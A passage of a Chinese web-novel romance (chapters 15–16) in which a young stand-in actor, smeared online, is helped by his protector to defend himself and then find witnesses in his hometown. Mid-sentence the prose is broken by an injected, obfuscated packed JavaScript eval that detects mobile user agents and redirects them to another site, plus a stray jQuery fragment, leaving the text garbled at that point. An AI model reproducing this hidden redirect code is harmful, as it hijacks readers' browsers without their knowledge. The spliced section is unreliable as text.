街头上替/人/打/架的利落狠劲、矿井里被黑暗隐去的骇人伤口、救人时拳拳到肉的冷静疯魔、别墅里被噩梦扼住脖颈的蜷缩身影——让所有观众与之同苦同悲、为他欢呼或流泪。 看着这样一个角色,没有人能说宋忆辰没有演技。 但那个帖子的楼主发了一段令人心惊的视频。 视频明显是偷拍的,那里面出现了妆造和服装一模一样、侧脸也几乎看不出分别的两个“宋忆辰”,好像正在争执。 一个态度平静却明显傲慢,另一个神色很冷很厌烦。 根据模糊不清的谈话内容,可以费力地听到“替身”、“报酬”、“保密”等关键字。 “没错,宋忆辰有个御用替身,”那个楼主说,“《黎明》里的男主角陈希60%以上的镜头、近乎全部的经典镜头,都是这个替身贡献的。” “这下你们知道为什么背影比正脸更吸引人了吧。” “傻孩子们,你们爱错人了。” 15. 我相信你 何殊忽然想起,梁衡遭遇的那场车祸中,宋忆辰之所以能在监控中冒充姜灼,就是因为他们二人当时穿着同样的服装、画着同样的妆容。 原来一切都有迹可循,那天正是姜灼充当宋忆辰替身的最后一天。 宋忆辰滥用替身的事,圈子里早就有相关的传言。但由于宋家在娱乐圈占了头部,宋少爷又是被捧上金字塔尖的明珠,从来没有人敢拿出确切的证据。 帖子的爆料在圈子里引发了一场牵连甚广的地震。有不少人质疑,宋忆辰因《黎明》这部电影获得的荣誉和奖项不算少,如果爆料属实,那证明这么多奖项的评委方皆是有眼无珠,连正主和替身都分辨不出来的,或是收受了宋家的贿赂,对此事睁一眼闭一只眼。 除此之外,人们最关心的一个问题是——这个替身到底是谁? 那个虽长相相似但气质与宋忆辰迥异的、真正的“陈希”,像从未存在过一般始终沉默的少年,究竟是何方神圣? 帖子的事情发酵时,执导《黎明》的许导演忽然在网上发声,先是实锤了替身的事,后又在字里行间暗示那个人同样出自宋家。 于是有心人稍微一扒,就扒出了宋家纵容养子鸠占鹊巢的那些旧事。 “姜灼”这个名字,也第一次出现在人们的视野里。 ——如果事情只发展到这里,还称得上是一件好事。 但突如其来、毫无根基的名声往往会带来反噬,被质疑的奖项评委方需要一个合理的借口,宋家夫妇对养子还是一如既往的偏心,城府深沉的宋忆辰对于替身暴露的情况也早准备了应对的手段。 有经验的人操纵舆论易如反掌。 于是在许导演发声之后,有许多大V开始“深挖”“宋家真少爷”的个人履历,然后接二连三地声称自己挖到了“惊天大瓜”,把那些早就准备好的话术通通抛到大众眼前。 姜灼,一个不学无术的小混混、校园霸凌的施暴者、经常打架斗殴进局子的不良少年、负债累累屡教不改的赌鬼、对亲生父母无限索取的不孝子…… 不仅如此,他们还拿出了种种证据——宋母在镜头前对姜灼梨花带雨的控诉、被偷拍下来的姜灼与赌场讨债人互殴的视频、声称自己曾被姜灼校园霸凌的“受害者”的自述…… 桩桩件件,誓要把这些屎盆子在姜灼头上扣死。 质疑如山呼海啸一般涌来。 【居然是这种人……我终于理解为什么宋家不肯认他了,要是我我也不认】 【这种人居然能演出陈希??我不接受!!许导演那边是不是有什么黑幕?!】 【让这种渣滓当男主角我宁愿接受宋忆辰……要我说最近那么多人跟风黑宋少,是不是宋家得罪什么人了?吃瓜.jpg】 【一个一直风评良好的演员突然成了全网黑,这个时候来了个不知所谓的“替身”明摆着要抢他的位子……呵呵,这其中没猫腻的话我倒立洗头】 【cao,这人居然还搞校园霸凌……曾经是校园霸凌受害者的我表示忍不了了,就凭这一点无脑支持宋少】 【咳咳,我劝你们说话小心点儿,人家“真少爷”的背景你们可惹不起】 【楼上细说?】 【我表哥是盛丰的员工,最近他们内部早就传疯了,这个“真少爷”和盛丰董事长同进同出还住在一起……不多说了,懂得都懂】 【卧槽!盛丰!董事长!是那个梁氏的盛丰集团吗我没看错吧不会是重名吧】 【这这这,这事儿是真的?要是真的就不奇怪了】 【回楼上,是真的,早实锤了,我姐也是盛丰的,天天和我吐槽他们梁董眼神不好看上了个小混混】 【听说盛丰最近在疯狂打压宋氏……所以这些都是商战的手段?掐死宋氏顺便捧一把自己的小情儿,梁某真是好算计呐】 【可怕,这城府太可怕了,梁家居然这么猖狂,连宋少爷都快被玩死了,我们普通人岂不是更加任人宰割?】 【原来都不是什么好东西,敢情把我们网友当猴耍?退钱!!】 【我居然开始同情宋忆辰了,这么一看他很可能是被陷害的】 【+1,盛丰董事长和那个“真少爷”明显是一丘之貉】 【+10086……我先闭麦了,怕被封号】 …… 这件事被公关部上报给沈秘书、沈秘书又上报给何殊的时候,舆论已经“反转”到了不得不重视的地步。 姜灼被叫到了董事长办公室。 沈秘书已经离开,此时办公室里只有何殊一人。 姜灼坐在沙发上,拿着手机从头到尾翻了所有的帖子和评论,脸上的表情从一头雾水到惊怒交加,再到逐渐冷静,沉黑的眸子除了冰冷没有一丝波澜。 他真的变了很多,即使是在这种情况下,曾经如影随形的焦虑和厌世情绪也没有发作。 他的身上越来越有何殊的影子。 少年站起来,朝何殊鞠了一躬,却还没弯下腰就被一双手稳稳接住。 那双手习惯性地把他箍进臂弯:“你这是做什么?” “抱歉,”少年的声音闷闷的,情绪不是一般的低落,“我又给先生添麻烦了。” “我确实当过很多次宋忆辰的替身,没什么复杂的原因,只是因为那时候我非常需要钱,而他答应给我的报酬又足够丰厚。” “什么奖项什么名誉……我本就不喜欢演戏,也根本就不在乎。” “拿钱办事,我以为是很简单的事,没想到会惹出这么大的麻烦。” 说完这句话,少年顿了顿,像下定决心一般:“先生,你不用操心,这件事交给我,我一定会给你和公司一个满意的答复。” 他抬头看着何殊的眼睛,目光里带了点乞求,“让我自己来解决这件事,好不好?” 拥着他的人没有回答,只是轻轻笑了一下:“阿灼替我委屈了吗?” 少年在他怀里用力点头,眼角微红。 他早就不在意自己的名声了,但完全忍不了旁人对先生的任何一点污蔑。 那么好的先生,像月光一样温柔皎洁的先生,不该被他拉入浑浊不堪的尘泥。 “不需要道歉,”何殊温言道,“我也替阿灼委屈。” “阿灼才是最应该委屈的那一个呀。” 这句话让怀里的小猫怔了许久,然后更深地埋进他的怀里,依恋地蹭了蹭。 何殊被他蹭得心软,抬手慢慢理顺他的头发:“那些人的话我一个字都不信。” “我只信你亲口告诉我的。” 他捧起少年的脸,直视着那双漂亮的黑眼睛,拇指指腹在眼睑下轻轻摩挲,力道温柔得让人想哭。 “向我倾诉吧,阿灼,告诉我那些事不是你做的。” 少年目光颤了颤,所有深藏的恐惧、自责、狼狈和懦弱在那片包容的、浅褐色的海中皆无所遁形。 “不……” 他的喉咙像被什么堵住,或是吞了一千斤焦炭,干涩发紧,气流艰难地从一点点缝隙中挤出,一个字便耗尽了所有力气。 “不、不是……” 冷汗顺着额角流了下来。 他知道,只要自己说一句“不是我做的”,先生就会无条件相信他。 明明是一句再简单不过的话。 可他却说不出。 只是想一想这几个字,就会有模糊的、扭曲的、本以为早已尘封的黑色记忆,像冰冷湿滑的毒蛇一般勒住他的喉咙。 过去无数次的误解、无数次的打压、无数次的冷嘲热讽,无数次被钉在耻辱柱上受人指指点点的孤立无援……那些冷漠的、嫌恶的、居高临下的目光,曾一片片剜去他脊背上的肉,又一股脑塞进他的喉咙里。 因为辩解皆是徒劳,所以他再也不会为自己开口。 他早就没办法完整地、连贯地发出这几个音节了。 何殊拥着他坐到沙发上,看着他叹了口气。 ——他从车祸那时便发现,少年像是失去了辩白的能力。 无论是面对宋忆辰的冒名顶替还是苏蓉的误解指责,他都好像完全没有“辩解”这个意识。 就好像潜意识里死死认定,无论自己说什么都不会有人相信,如果说了反而会有更痛苦的记忆等着自己,于是干脆从一开始就不给自己任何希望。 而现在,姜灼的反应更是让何殊确认了,曾经无数次自我辩白后的负反馈已经让少年产生了心理障碍。 他也不想逼他的小朋友,可“为自己辩解”是一项非常非常重要的能力,能在他走后保护少年余生。 所以他选择一点点教他。 “乖,别想那些事。” 何殊轻轻抬起少年的头,捏了捏他的后颈,让他从那些黑色记忆里短暂回神,确保那双眼睛中满满的只有自己一个人的身影。 “什么都别想,只看着我,只听我说。” “我说什么,你就说什么。” 温柔到极点的浅褐色安抚着他,宽容地吞下少年所有的负面情绪。 拥抱着他的力道沉稳笃定,好像这个人无论说什么都是真理。 何殊温声细语,一字一顿,像教牙牙学语的幼儿一般耐心。 “不是。” 少年痴痴地看着他,脑子里混沌一片,像是呓语一般,“……不是。” “我。” “……我。” “做的。” “……”黑色深处有什么东西开始颤抖,摇摇欲坠,“……做的。” 引导者欣慰地笑了下,奖励似的揉了揉他发红的眼角,声音温和沉稳,“不是我做的。” “……” 黑色深处的东西开始崩塌。 少年呼吸急促,整个人都在发抖,脑子里尖锐的疼痛横冲直撞,心脏悸颤。 何殊替他擦去泪水,没有丝毫不耐烦,只是抱紧了他,在他耳边一遍遍重复。 “不是你做的。” “不是阿灼做的。” “我相信你。” 少年把脸埋在他的肩头大口喘息,喉咙里发出崩溃的呜咽。 我相信你,我相信你…… 他好像等了这句话很久很久,可能是一辈子,也可能是两辈子。 那些黑色记忆里声嘶力竭的苍白辩解,原本只换来旁人的嘲讽和漠视。 而现在,先生好像回溯了时间的长河,在每一个节点拥住他,拥住他所有的委屈和不甘。 温柔地哄他,给他擦眼泪,用后背挡住那些人恶意的目光,在他耳边说“我相信你”。 于是所有的黑色记忆都添上了纯白色的结尾,每一个被困在回忆里的他都得到了救赎。 先生给予的救赎。 于是那些堵住喉咙的东西开始缓慢地消散。 他像个幼儿一样被先生教着,一点点找回了说话的能力。 “不、是……” 少年浑身虚脱,后背已经被冷汗浸透了。 他无比缓慢、又无比艰难地一个字一个字地往外蹦。 “我……” “我、做、的……” “不是、我、做的……” 少年渐渐说得越来越流畅。 何殊认真听着他每一句吃力的辩白,怀抱始终很稳。 “不是我做的……” 在练习了不知道多少次之后,少年终于能发着抖完整地吐出这五个字。 “不是我做的,不是我做的……”他带了哭腔,翻来覆去地重复这句话,像是要把这么多年积攒的委屈一并发泄出来,“先生,不是我做的……” 他的先生接住他不堪的眼泪。 “我知道,”何殊温柔地拍哄怀里委屈哭了的小猫,像连那颗心都一起拍哄了,“我知道不是阿灼做的,阿灼是好孩子。” 无条件的信任像柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13458794|141637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软又坚韧的丝线,一点点缝补着那颗漏风的心脏。 从今以后,少年的辩白永远有人相信,他的委屈永远有人诉说。 他再也不必害怕说出那几个字会得不到回应。 就像从一场漫长的噩梦中醒来。 / 黄毛最近摊上了点事。 他住在S市周边最贫穷的一个县里,原来是不学无术爱偷东西的小混混,后来改邪归正,现在是修车店的汽车维修工,给自己亲叔打下手。 几日之前,有人把一辆被刮蹭掉漆的新车放在他们这儿修,黄毛按照他叔的吩咐独自刷好了漆,没想到车主开回去之后半个月就找上了门,说他修车时偷了新发动机换成了旧的,害得他上坡时动力不足发生了事故,要求他赔偿巨额医药费,否则就报警。 修车店监控坏了,车主的新车刚提了一个月,只在他们这儿修过,黄毛又有小偷小摸的前科,偷发动机这种事以前也不是没干过。 这下真是跳进黄河也洗不清了,连他亲叔都不相信他,一脸失望地让他快点道歉和赔偿。 黄毛要气炸了,这次真的不是他干的,难道因为他以前犯过错,就要一棒子打死他今后所有的人生吗? 他梗着脖子坚决不认,可车主也不是什么善茬儿,因为明知没有证据报了警也没用,于是找了一帮人天天来修车店闹事。 今天临近下班,那些人又来了。 他叔给那些人陪着笑脸,往他腿肚子上踹了一脚,让他道歉。但黄毛哪里肯,嚷嚷得比那些人还大声:“说我偷的,你有什么证据吗!说不定是你自己换了发动机来讹我,或者这车提出来就是这样!” “什么叫提出来就是这样,你知不知道这车是什么牌子?这个牌子用这种发动机你信吗?!” 推搡间,双方的火气越来越大,眼看就要打起来,黄毛已经破罐子破摔准备暴揍他们一顿进派出所了,一拳就照着那人脸上招呼了过去,却被一个突然出现的人半路截了下来。 不速之客比黄毛年龄小很多,穿得干净体面,就是右边眉骨上的刀疤添了点戾气,正挡着他的拳皱着眉看他。 黄毛刚想发作,忽然发现这人有点眼熟,再定睛一看,立马兴奋地叫了出来:“大哥!” “……” 那人把他的拳头扔下去,面无表情:“说了多少遍,叫我姜灼。” 久别重逢,黄毛兴奋得不得了,什么车主什么揍人通通抛之脑后,围着姜灼喋喋不休:“大哥你什么时候回来的看上去气色真好啊长高了好多哇这身衣服不便宜吧大哥你发达了想想兄弟啊我想死你了大哥大哥大哥……” 姜灼感觉有只苍蝇在自己耳边飞,好想把它一巴掌拍死,但想想他这次回来的目的还是生生忍下了。 毕竟还有求于黄毛这小子。 被忽视个彻底的车主鼻子都快气歪了,跳出来指着黄毛的鼻子就要发作:“我告诉你……” 一句话没说完,肩膀被人轻轻拍了一下。 车主回头一看,一个穿着黑色夹克的男人正微笑着看他。 大概是男人身上的气质太有威慑力,看着就不是普通人,尽管他笑容温和,车主还是生生把剩下的话咽了回去。 “打扰了先生,”何殊很好脾气地道歉,他和姜灼方才在修车店外站了许久,已经听清楚了事情的来龙去脉,“能让我看看发动机吗?” 车主发现自己没办法说出拒绝的话。 毕竟这人看着就很专业的样子。 黄毛这才注意到何殊的存在:“大哥,他是谁啊?” 姜灼还没想好怎么介绍何殊的身份,何殊就朝黄毛露出个友善的笑容:“我是阿灼的哥哥。” 那件事之后,舆论对姜灼很不利,光靠盛丰的公关团队没办法完全扭转局势,于是何殊决定带姜灼回到他成长的地方,拜访见证他长大的故人,以及见一见那些“校园暴力”的“受害者”。 这座贫穷的县城就是姜灼十六岁回到宋家之前一直生活的地方。 虽然姜灼很悲观地觉得,没有人会愿意出来替他作证,他们肯定会白跑一趟,但何殊不这么觉得。 毕竟他家的小朋友这么好,他不信这么多年从来没有人发现过。 黄毛就是他们要找的第一个证人。 “哥哥?!大哥你什么时候有了个哥我怎么从来没听你说过啊?”黄毛一脸惊奇地打量着何殊,“等等,你是我大哥,他是你哥哥,那就也是我哥……” 姜灼脸色黑成了锅底,忍无可忍地堵住了他的嘴:“胡说八道什么,这位是梁先生,别乱叫。” 何殊走到已经打开的汽车前盖前弯腰,正想伸手拨开交错的线路,少年却上前拦住了他:“先生,我来吧,这不是你该干的活。” 何殊笑了一下,刚刚抬起手,少年就很自觉地把脑袋放到他掌心下给他摸:“没事的,我就看看,你去和朋友叙叙旧吧,不用管我。” 在白塔世界,为了赚钱养孤儿院的弟弟妹妹,修车工他也不是没干过。 少年咬了咬唇,看了一眼眼珠子都快瞪出来的黄毛,又看看一脸胸有成竹的先生:“那、那好吧……” 毕竟总要有人和黄毛讲清楚他们来的目的。 为了得到黄毛的帮助,这个麻烦他们也最好替他解决了。 姜灼四处看了看,扯了一把塑料凳子过来,脱下外套仔细地叠成方块铺在上面,拉着先生坐下,又从口袋里摸出个新口罩给人戴上:“先生,这里机油味儿太大还有灰尘,对肺不好,我们等下快点出去好不好?” 何殊纵容地点点头:“放心,很快的。” 而黄毛看着自己大哥在那个“梁先生”面前乖巧得像只猫咪,把人照顾得无微不至恨不得捧在手心里的样子,感觉自己三观都要崩塌了。 救命,这还是他认识的那个孤僻冷酷生人勿近打起架来不要命的姜灼吗?! 他是不是被夺舍了? 16. 雾色深处 事情结束得很快。 以何殊的经验,能看出发动机没有拆卸过的痕迹,换句话说,这就是这辆车的原装发动机。 问题出在生产汽车的厂家,黄毛和修车店只是无端背了黑锅。 当然如果这么给车主交代,他肯定是不愿意相信的。但恰巧盛丰是这个汽车公司的股东之一,何殊给公司负责人打了个电话反应了情况,对方立刻表示会严肃彻查此事,并且愿意向这位车主赔偿一切损失。 毕竟这事可大可小。往小了说是这一辆车偶然有质量瑕疵,往大了说就是偷工减料以次充好,会严重损害公司的商业信誉,何殊作为股东当然有权力问责。 一个电话就解决了纠纷,车主得到负责人保证之后心满意足地离开,修车店老板对何殊连连道谢,黄毛更是眼珠子快要瞪出来了。 他拿手肘戳了戳姜灼,小声问:“你什么时候有了个这么厉害的哥?看起来来头不小啊。” 姜灼面无表情地往旁边移了移:“叫梁先生。” 何殊和老板说完话后向他们招了招手,少年立刻撇开黄毛跑到他身边,乖乖地仰着头看他,连侧脸的弧度都一瞬间柔和下来。 黄毛:“……”这一定不是我认识的那个酷炫拽霸狂的大哥。 好在何殊没有让尴尬的气氛持续太久。 他亲和力极强又谈吐不凡,明明和黄毛是两个世界的人却让人感受不到丝毫别扭。几句话聊下来,黄毛对他的好感度蹭蹭往上涨,要不是被姜灼的死亡视线盯着,他真想当场再认个哥了。 “……联系以前认识姜灼的人?哈哈那简单,包我身上!”黄毛拍着胸脯保证,“给我一个小时就行,我现在就去找他们。” 何殊笑:“好,一个小时后刘家小炒见,我请你们吃饭。” 黄毛惊喜:“嗬,梁先生你很懂嘛!那个小炒比什么蓬莱阁翡翠轩好吃多了!还以为你这样的老板会看不上我们这的苍蝇馆儿呢。” 他立刻把何殊划分到自己人的行列,好感度又涨了一截,连离去的背影都透着兴高采烈。 姜灼心中跳了一下。 这个“刘家小炒”是他在向先生讲述自己的过去时不经意提到的地方,只提了一次,他没想到先生连这么小的细节都能记在心里。 这种被人时时刻刻放在心上的感觉牵引着他沉沦。 偷偷地高兴,偷偷地心动,不敢让任何人知道。 …… 一个小时后,刘家小炒。 黄毛找来了四个青年,各个打扮得痞里痞气的,一看就是最让人头疼的那种小混混。虽然他们年龄都比姜灼大,但见到人后全都分外服帖地叫大哥,乖巧得与外表十分不符。 姜灼表情僵硬,偷偷看向何殊的目光里藏着懊恼,大概是觉得自己不良少年的身份终于实锤了。 小朋友暗戳戳的眼神实在可爱,何殊没忍住揉了两把他的头发。 少年毫不反抗,很乖地低下头任他揉。 几个小青年刚刚听了黄毛叽里呱啦的描述还不相信,现在亲眼见到豹子被驯养成猫咪的情景,一个个目瞪口呆,看向何殊的眼神变得无比敬畏。 何殊笑容平易近人,以水代酒,推杯换盏之间就和几人打成了一片。 “……嘿嘿,我们叫姜灼大哥没别的意思,”几罐啤酒下肚,一个小青年的舌头都大了起来,对着何殊念叨,“纯粹是因为他把我们打服了。” 根据几人七嘴八舌的讲述,他们以前都是这座小城里相当可恶的那种混混,偷东西打群架、向学生勒索保护费等等无恶不作,被他们欺负的人全都敢怒不敢言,使得几人越发猖狂。 ——直到他们欺负到了姜灼的头上。 那时候的姜灼刚上初中,孤僻寡言独来独往,洗得发白的校服短得遮不住手腕,身上没几两肉,一看就是特别好欺负的那种学生。 这几人早早盯上了他,在他放学后把人堵在小巷子里敲诈勒索,把书包里的书全都倒出来扔地上踩,从犄角旮旯里翻出皱巴巴的几十块钱。 阴郁的少年冷冰冰地盯着他们,然后用行动告诉了他们什么叫人不可貌相。 被揍得很惨,特别狼狈,狼狈到直到现在他们都不是很想回忆起那次“互殴”。 几个小混混还是第一次遭到如此猛烈的反击,自然恼羞成怒,伤好之后又开始找姜灼的麻烦,但第二次、第三次、第四次……通通被揍得鼻青脸肿,要么被单方面殴打要么两败俱伤。 少年出奇地灵活,爆发力极大,像只成了精的小豹子,而且实在不怕死,每次打架都带着玉石俱焚的狠劲,哪怕自己被捅了一刀也要在对方身上撕咬下一块肉来。 俗话说,软的怕硬的,硬的怕横的,横的怕不要命的。在被打趴下许多次之后,几个小混混被这小孩不要命的架势吓得心有余悸,逐渐被打得浑身的刺儿都蔫了下去。 再后来,被打服了的他们不但不再找姜灼的麻烦,反而殷勤地跟在这个比自己还小的少年后面,屁颠屁颠地叫大哥。 虽然是热脸贴冷屁股,姜灼从来不想搭理他们,但这种目中无人的冷酷劲儿让他们觉得大哥实在太酷了。 不打不相识,这几个小混混居然是姜灼在这座小城里仅有的、勉强称得上朋友的人。 “大哥虽然看上去冷冰冰的,但也不是完全不管我们,”黄毛插嘴道,“我们几个自作主张认了大哥之后,还想拉他一起抢别人钱来着……但他不但拒绝了,之后每次看到我们干坏事就是好一顿揍……真的,比我老爹揍得都狠,我们就再也不敢干坏事了。” “我现在跟着我叔学修车,胖子当保安,老三送外卖,阿奇跑出租……不说赚多赚少,都是正经营生。” “要不是大哥把我们往正路上拐,可能我们早就犯下大错蹲监狱了,哪有现在的安生日子?” 咚,黄毛重重放下手里的啤酒瓶,醉眼朦胧地看着何殊。 此时姜灼被何殊哄去附近的便利店买饮料,饭桌上只剩他们几个人,有什么顾忌姜灼在不能讲的话现在都可以说了。 “只有我们知道姜灼是什么样的人,却没有人相信我们——没办法,我们几个本来就名声臭得要死,说的话有谁会信?他和我们呆在一块儿,反而让别人觉得他也是小混混。” “可他真的不是,我们都知道的,他经常打架是因为总有人欺负他、欺负他妈和他妹,他那个酒鬼爹天天打老婆孩子,还总是带着一屁股债回家,讨债的人可不会手软……他如果不还手就会被吸血扒皮连渣都不剩……” “他说过,他最想干的就是像个正常学生一样坐在学校好好学习,然后考上大学离开这个鬼地方。” “你不知道吧,他学习可好了,中考考了全县第三呢!可惜……唉。” 黄毛欲言又止,摸摸鼻子尴尬地笑笑:“说这么多……梁董你明白我们的意思吗?” 其他几个小青年也放下酒瓶,目光各异地向何殊看来。 何殊心下了然,他叫的是梁董,看来他们早就看到了网上那些传言,也猜到了他的身份。 另一个心直口快,直接敞开了说:“网上那些都是屁话,我大哥根本不是那样的人,梁老板你可千万别信呐。” 他说:“我看出来了,姜灼他很在乎你,你要是信了那些鬼话他会很伤心的。” 何殊笑了一下:“我没信过。” “我相信你们,”他声音温和,有种令人安心的笃定,“阿灼一直都是个好孩子。” 几个小青年面露喜色,这还是第一次有人相信他们的这些话,心里一块石头总算落了地。 此刻,出去买饮料的少年正急匆匆地赶了回来,走到包厢外听到了里面的交谈声。 黄毛大着舌头的声音从门缝中飘出来:“……嘿嘿,其实我还有个问题挺好奇的。” “网上说梁老板你把姜灼包养了——我知道这肯定是谣言,我大哥才不是那种愿意被包养的人,所以……” 他打了个嗝,贱兮兮地八卦道:“所以你俩是在正经谈恋爱吗?” 轰隆一声,少年感觉有雷在头顶炸响,脑子里嗡鸣一片。 谣言是谣言,见不得光的角落里传传就好,还没人敢当着先生的面问出这种问题。 他只感觉自己那些不堪的心思全部被人剖开,赤/裸裸地展现在人前,被焦虑和恐惧扼住了喉咙。 但不知道为什么,他浑身僵直地立在门外,手脚都好像被控制住了,没有冲进去打断这场荒唐的谈话。 为什么不制止? ——可能他内心深处,也是渴望知道先生会怎样回答的吧。 黄毛一无所知,一本正经地哔哔:“虽然梁老板你家大业大,我大哥他是高攀了,但、但他年纪这么小,长得还帅,又对你死心塌地的……你也不算吃亏对不?” 何殊:“……” 另一个明显也喝多了的插嘴道:“对啊对啊,你可别因为他的出身就看不起他……不过我大概是多嘴了,你肯定不是这样的人,不然就不会找上他了哈哈……” 他们好像已经自顾自地把两人的关系实锤了,并且没有对同性恋这个话题表现出丝毫诧异。 这几个小青年看着不着调,但一个个都是人精,哪会看不出来他们情窦初开的大哥已经沦陷了。看这两个人的相处方式,姜灼明显还处于暗恋阶段,于是干脆替他把这层窗户纸捅破,省得心思重的少年自己说不出口。 何殊有一段时间没说话。 他只是微垂着眼睫,手指握着玻璃杯慢慢摩挲,好像在思考一个相当有难度的问题。 包厢里的气氛慢慢冷静下来,屋内屋外的所有人停下了动作,都在等着他的回答。 最终,他举起杯子抿了一口水,然后抬起头重新露出平易近人的微笑:“你们可能误会了。” 门外的少年呼吸一滞。 何殊语气依旧温和平静,听不出半点情绪上的波动:“我确实只是他哥哥,并非你们想的那种关系,未来也不会发展成那种关系。” “不过,”他话锋一转,“就算不是那种关系,我也会好好护着他的。” 他的回答像一盆冷水浇到了姜灼头上。 沸腾的血液霎时间冷却下来,双颊因紧张而生的红晕也褪去,露出雪般的颜色。 少年站在门外,攥紧到掌心都掐出血的拳头慢慢松开,力竭似的垂落在身旁。 被那些不该有的绮念填满的脑子也瞬间清明,清明得前所未有。 先生对他没有那些心思,只把他当弟弟看待。 先生说,现在没有,未来也不会有,连一点点念想都不给他留下。 这才是最正常最合理的不是吗? 他刚刚在想什么?他居然有一瞬间希望——或者在心里乞求——先生能把那些话默认下来? 如此卑劣的私欲,如此不自量力的痴念,他居然妄想先生对他不堪的心思有所回应? 他一个什么都没有的人,依靠先生的给予才能活下去的人,从来没有对那份温柔有所回报,有什么资格让先生喜欢。 这些清晰到残酷的念头锤击着他的心脏,让那颗跳动异常的心一点点回到它本该有的位置。 安守本分,绝不逾矩。 少年垂着头,在门外沉默地站了一会儿,才假装刚刚回来的样子推开了包厢的门。< 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这个问题让何殊笑了一下,但那点笑意如水面上的涟漪般清浅,又很快消散得无影无踪。 他说:【所以呢?】 【只剩下四年多生命的我,要用另一个回答困住他的一生吗?】 何殊不是傻子,姜灼自以为掩饰得很好,但少年情思真诚炽烈,他又怎么会看不出那双眸子中蕴藏的刻骨眷恋。 可这具身体注定年寿难永,而他的阿灼还有很漫长的人生。 少年剩下的人生可以潇洒快活自由自在,也可以被困在一个噩耗里永远走不出来。 他是来把他的小朋友救出泥潭的,不是用生离死别的苦痛将他拉下深渊的。 这样就好。他想。 在一切尚可挽回的时候,在这点情思还不那么深入骨髓的时候,用一点可能会痛的手段把它亲手斩断。 既然明知没有结局,不如从未开始。 …… 结了帐,出了门,和黄毛他们几个告别后,两人朝酒店的方向慢慢走着。 何殊第一次没主动牵少年的手。 路灯昏暗的光线映着小城不那么干净的街道,把人的影子拉得很长。 姜灼亦步亦趋地跟在他身后,本来是沉默的,但没过多久就走上前来扶住了他的手臂,轻声劝道:“先生,我们歇一会儿,歇一会儿再走。” 少年很敏锐,虽然何殊没有表现出任何异样,但他依旧能察觉到对方的勉强。 何殊看了他一眼,褐色的眸子里露出点笑,顺从地被他扶着在街边的长椅上坐下,闭上眼,嘴唇发白,微微有些喘息。 一整天的奔波疲劳,对这具身体来说还是负担有些大了。 姜灼把他半抱在怀里,一只手给他慢慢按揉心口,感觉怀里硌人的身体随着咳嗽轻颤,胸口的起伏微弱艰难,有冷汗渐渐浸湿了自己的衣襟。 他目光暗了下来,心疼得声音都有些哑:“我们叫出租车吧先生,不能再走了。” 何殊在他怀里好不容易止住了咳,抬起头看着已经近在咫尺的酒店的灯光:“只剩几步路……” 他扶了扶因为失力而控制不住发颤的膝盖,发现确实不太能站得起来,无奈地叹了口气:“抱歉阿灼,是我太高估自己了。” 这句话让少年的心上豁了个口子,有鲜血汩汩流出。 先生拒绝他的时候他没有疼,可现在他却因为一句简单的话疼得快要受不了了。 喜欢先生是他自己的事,先生想怎么对他他都欣然接受,但他见不得先生受苦。 他见不得先生连站起来的力气都没有,还在语气温柔地跟他说抱歉。 他见不得先生自嘲,见不得先生不开心不自由。 少年单纯懵懂,不知道这种没有丝毫私欲、一心只盼着对方好的感情不叫喜欢,而叫爱。 他只是压下了满目痛色,咬着牙轻声道:“不是的,不要道歉,先生想去哪里就去哪里,想做什么就做什么,不想坐出租车我们就不坐,我们走回去。” “暂时走不动也没关系……” 何殊还没回过神,就感觉身体腾空,被揽着后背和腿弯、很小心很缓慢地抱了起来。 这种陌生的感觉让他失了一贯的从容,体位的变化也让他有些头晕,下意识地攥紧了少年的手臂,惊愕地出声:“阿灼?你……” 少年把他的先生稳稳抱在怀里。 先生太轻了,轻得让他心颤,原本准备了七分的力气,却只用上了三分。 少年的声音沙哑而温柔,很像教给他爱的那个人。 “暂时走不动也没关系,剩下的路,我替先生走。” 何殊:“……” 他惯于掌控一切,习惯了充当保护者的角色,这样被人公主抱还是第一次,感觉很新奇。 这个怀抱也很舒服,使的力道恰到好处,被养出一点肉的手臂和胸膛紧贴着他,触感极佳。 走路也很轻很稳,没让他感受到什么颠簸。 他仰头看着少年的眼睛,背景是夜空和月色,这是个从未有过的角度。 因为是第一次,所以他在那双黑眸中看到了点方才被上眼睑遮住、差点被忽视的东西。 他看到了沉沉雾色中深藏的火光。 他本以为已经被浇灭了的火光,原来只不过是被主人小心藏到了更深处。 爱是一种比喜欢更加坚忍的情感,刻入肺腑植入骨髓,在血液里奔腾涌动,是狂风暴雨中依旧不会熄灭的焰火。 何殊发现自己好像失算了。 阿灼对他的感情,似乎比他想象的还要深得多。